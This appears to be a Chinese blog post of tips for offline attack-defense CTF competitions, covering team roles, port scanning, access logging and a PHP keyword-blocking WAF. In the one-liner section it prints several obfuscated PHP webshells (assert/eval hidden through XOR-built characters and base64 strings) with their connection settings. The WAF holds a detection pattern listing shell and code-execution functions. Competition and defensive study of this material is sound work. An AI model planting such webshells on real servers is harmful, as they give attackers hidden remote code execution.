CTF线下攻防赛
SSH登陆
两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂、然后将Web目录下载下来,上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。
tips:将下载下来的Web目录理一遍,看是否有可疑的文件夹,比如bak。
网络拓扑
主机发现
如果是在同个C段,或者B段,均可以使用RouterScan进行对80端口扫描进行扫描得出,嫌麻烦的话,就用httpscan(https://github.com/zer0h/httpscan)这个小巧的脚本。
千万要记得扫端口,这很重要。用nmap也行,自己写的脚本或者网上找的也行。
预留后门
有的比赛环境,为了照顾比较菜的选手(此处举手),预留了一句话后门。将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)。
一句话
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
连接方式:php?2=assert密码是1。
献上我常用得一句话
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置为?b=))99(rhC(tseuqeR+lave
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
日志分析
1.感知可能正在发生的攻击,从而规避存在的安全风险
2.应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失
记录log脚本
这种脚本网上有很多。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."rn";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
日志分析工具
1.LogForensics 腾讯实验室
https://security.tencent.com/index.php/opensource/detail/15
2.北风飘然@金乌网络安全实验室
http://www.freebuf.com/sectool/126698.html
3.网络ID为piaox的安全从业人员:
http://www.freebuf.com/sectool/110644.html
4.网络ID:SecSky
http://www.freebuf.com/sectool/8982.html
5.网络ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html
题目类型
1-出题人自己写的cms
2-常见或者不常见的cms。
3-一些框架漏洞
0x02:代码类型
目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。
0x03:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
如何防守
其实防守更多看的是谁比较细心。
0x01:比赛开始的时候
比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。
然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。
0x02:然后的工作
当然是审计,审计,再审计。
0x03:当发现被打时
当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。
一个web狗需要具备的一些东西
1-快速的漏洞反应能力。
因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2-快速编写脚本的能力。
因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。
3-一个好的心态
毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。
当我们处于优势地位时
除非处于那种绝对优势的时候,我们可以什么都不在乎。
当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。
当我们处于劣势地位时
首先还是那句话,心态不要崩。
其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
最想要的WAF
<?php
error_reporting(0);
define('LOG_FILENAME','log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);//fix a bug
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
这个WAF在线下攻防赛中,绝对是一个大杀器。
不仅拦截了大多数非法语句,还能记录所有的攻击流量,轻松得到别人的payload。
不知道主办方要如何解决这个WAF所存在的问题。
当然,这个WAF应该也不是完美的,还可以添加更多的规则,让他变得更强!
接下来再说说,在实战中如何加载这个WAF。
根据权限不同,就有不同的加载方式。
有root权限
那麽,这样就简单了,直接写在配置中。
vim php.ini
auto_append_file = “/dir/path/phpwaf.php”
重启Apache或者php-fpm就能生效了。
当然也可以写在 .user.ini 或者 .htaccess 中。
php_value auto_prepend_file “/dir/path/phpwaf.php”
只有user权限
没写系统权限就只能在代码上面下手了,也就是文件包含。
这钟情况又可以用不同的方式包含。
如果是框架型应用,那麽就可以添加在入口文件,例如index.php,
如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。
include('phpwaf.php');
还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。
当然还没完,还要在原phpwaf.php中包含原来的index.php。
index.php -> index2.php
phpwaf.php -> index.php
include('index2.php');
最后两个链接希望对彼此有用(http://bobao.360.cn/ctf/detail/169.html)(http://byd.dropsec.xyz/2017/05/16/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7/index.html)。
CTF线下攻防赛的更多相关文章
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- CTF线下awd攻防文件监控脚本
CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- ctf线下赛中检测外来IP的shell脚本
该脚本可用于ctf线下赛中,用来检测攻击IP的接入,及时做出响应. #!/bin/bash #写自己队的ip ipA="172.22.60.230" ipB="172.2 ...
- 域渗透复盘(安洵CTF线下)
复盘线下域渗透环境Write Up 0x01 外网web到DMZ进域 外网web入口 joomla应用 192.168.0.5 反序列化打下来 GET /index.php HTTP/1.1 Ho ...
- 关于AWD线下攻防的经验
备份: 1.备份源码,使用图像化工具连接ssh后,我喜欢用winscp, 找到根目录后,直接右键后台下载就行. 找根目录这里,有时候比赛不给根目录位置,上次 ...
- 中国电信线CTF线下选拨writeup
[盟军密码|30分] 二战时盟军截获德军一段密码,密文为:0000011000000000101010110111000011000111100011110001001100111000111001( ...
- ctf线下赛中关闭非法用户shell脚本
linux中三类用户:根用户,虚拟用户,普通用户. 其中普通用户的UID一般介于500-6000之间. #!/bin/bash for uid in $( cat /etc/passwd | cut ...
随机推荐
- Hadoop(五)搭建Hadoop与Java访问HDFS集群
前言 上一篇详细介绍了HDFS集群,还有操作HDFS集群的一些命令,常用的命令: hdfs dfs -ls xxx hdfs dfs -mkdir -p /xxx/xxx hdfs dfs -cat ...
- java多线程编程题之连续打印abc的几种解法
一道编程题如下: 实例化三个线程,一个线程打印a,一个打印b,一个打印c,三个线程同时执行,要求打印出6个连着的abc 题目分析: 通过题意我们可以得出,本题需要我们使用三个线程,三个线程分别会打印6 ...
- win10 uwp 如何让一个集合按照需要的顺序进行排序
虽然这是 C# 的技术,但是我是用在 uwp ,于是就把标题写这个名.有一天,我的小伙伴让我优化一个列表.这个列表是 ListView 他绑定了一个 ObservableCollection 所以需要 ...
- Linux文件系统的层级结构
Linux文件系统的层级结构 文件结构 倒置的树状结构 :Linux的哲学思想是一切皆文件,把几乎所有资源统统抽象为文件形式:包括硬件设备,甚至通信接口等 根目录 :linux的文件起始均从唯一的 ...
- PHP设计模式三:原型设计模式
一.什么是原型设计模式 原型设计模式使用一种克隆技术来复制实例化的对象,新对象是通过复制原型实例创建的.原型设计模式的目的是通过使用克隆以减少 实例化对象的开销. 在原型设计模式中,Client类是不 ...
- java web 入门级 开发 常用页面调试方法
这里介绍一下Java web 入门级开发中常用的代码调式方法; ( 仅供入门级童靴 参考) ; 工具: chrome 浏览器 (版本越高越好); Java web 入门级开发 主要就是两个方面: ...
- LeetCode 695. Max Area of Island (岛的最大区域)
Given a non-empty 2D array grid of 0's and 1's, an island is a group of 1's (representing land) conn ...
- 正则表达式&常用JS校验
符号 含义 ^ 以什么开头 $ 以什么结束 * 任意个(包括0个) + 至少一个 ? 没有或一个 {a,b} a-b个 {a} 正好a个 {a,} 至少a个 | 或 . 任意字符 [] 方括号内的任意 ...
- FastDFS与Nginx的配置说明
1.简介 FastDFS是一个开源的轻量级分布式文件系统,它对文件进行管理,功能包括:文件存储.文件同步.文件访问(文件上传.文件下载)等,解决了大容量存储和负载均衡的问题.特别适合以文件为载 ...
- Linux系列教程(十)——Linux文本编辑器vim
通过前面几篇博客我们终于结束了Linux常用命令的介绍,Linux常用命令主要包括以下: ①.Linux文件和目录处理命令 ②.Linux链接命令和权限管理命令 ③.Linux文件搜索命令 ④.Lin ...